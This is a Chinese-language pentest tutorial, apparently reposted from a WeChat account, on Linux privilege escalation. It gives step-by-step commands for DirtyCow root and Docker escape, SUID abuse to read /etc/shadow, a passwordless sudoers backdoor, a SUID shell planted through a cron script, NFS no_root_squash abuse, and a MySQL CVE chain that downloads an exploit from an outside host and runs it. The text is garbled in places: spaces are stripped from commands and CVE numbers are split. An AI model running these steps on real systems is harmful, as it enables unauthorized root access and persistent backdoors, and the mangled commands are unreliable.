本文转载自微信公众号《绕路》,作者绕路。转载本文请联系旁路公众号。提升权限是渗透测试过程中非常关键的一步。攻击者往往可以利用内核漏洞/权限配置不当/以root权限运行的服务等方式找到突破口,达到提权的目的。1.内核漏洞升级提到内核漏洞升级,就不得不提到脏牛漏洞(DirtyCow),它是存在时间最长、影响最广的漏洞之一。低权限用户可利用该漏洞实现本地提权,同时可利用该漏洞逃离Docker容器,获得root权限的shell。1.1本地内核提权(1)检测内核版本#查看系统发布版本lsb_release-a#查看内核版本uname-a(2)下载编译生成exp文件bypass@ubuntu:~$make(3)执行成功,返回一个root许可的shell。1.2利用DirtyCow漏洞实现Docker逃逸(1)进入容器,编译POC并执行:(2)在攻击机上,成功接收到宿主机的反弹shell。1.3Linux提权辅助工具github项目地址:https://github.com/mzet-/linux-exploit-suggester.git(1)自动寻找对应的提权脚本wgethttps://raw.githubusercontent。com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh-Oles.sh(2)根据提示下载poc,编译执行。2、使用SUID提升权限SUID是一种特殊的权限,可以让调用者在执行过程中临时获得文件所有者的权限。如果能找到并运行root用户拥有的SUID文件,那么运行该文件就可以获得root用户权限。(1)在Linux中找到可以提权的SUID文件find/-perm-u=s-typef2>/dev/null(2)通过找到可以提权Linux的命令,以root权限执行命令及其姿势:#Findfindpentestlab-execwhoami\;#Vimvim.tiny/etc/shadow#awkawk'BEGIN{system("whoami")}'#curlcurlfile:///etc/shadow#Bashbash-p#Lessless/etc/passwd#nmapnmap--interactive3、SUDO提权普通用户在使用sudo执行命令时,会以root身份执行命令。很多场景下,管理员为了方便运维管理,在sudoer配置文件中出错,导致提权。(1)设置sudo免密码$vi/etc/sudoers在最后一行添加:bypassALL=(ALL:ALL)NOPASSWD:ALL(2)检查sudo的权限4.如果能找到一个定时任务脚本可以权限被修改,可以通过修改脚本来实现提权。本质上,文件权限配置错误。(1)查看定时任务,找到有修改权限的定时任务脚本。ls-l/etc/cron*more/etc/crontab(2)在mysqlback.sh中添加SUIDshell后门,当定时任务再次以root身份执行时,可以获得root权限。cp/bin/bash/tmp/shellchmodu+s/tmp/shell5,NFS提权当服务器中有NFS共享并且开启no_root_squash选项时,如果客户端使用root用户,那么对于共享目录,client有root权限,可以用来提权。(1)查看NFS服务器上的共享目录sudoshowmount-e10.1.1.233(2)创建本地挂载目录,挂载共享目录。使用攻击者的本地root权限创建一个suidshell。sudomkdir-p/tmp/datasudomount-tnfs10.1.1.233:/home/bypass/tmp/datacp/bin/bash/tmp/data/shellchmodu+s/tmp/data/shell(3)返回待提升的服务器以上,以普通用户身份使用-p参数获取root权限。6.MySQL提权MySQL提权方式有UDF提权、MOF提权、写启动项提权等,但比较有意思的是CVE-2016-6663和CVE-2016结合的提取场景-6664。将www-data权限提升为root权限。(1)利用CVE-2016-6663将www-data权限提升为mysql权限:cd/var/www/html/gccmysql-privesc-race.c-omysql-privesc-race-I/usr/include/mysql-lmysqlclient./mysql-privesc-racetest123456localhosttestdb(2)利用CVE-2016-6664将Mysql权限提升为root权限:wgethttp://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod777mysql-chowned.sh。/mysql-chowned.sh/var/log/mysql/error.log
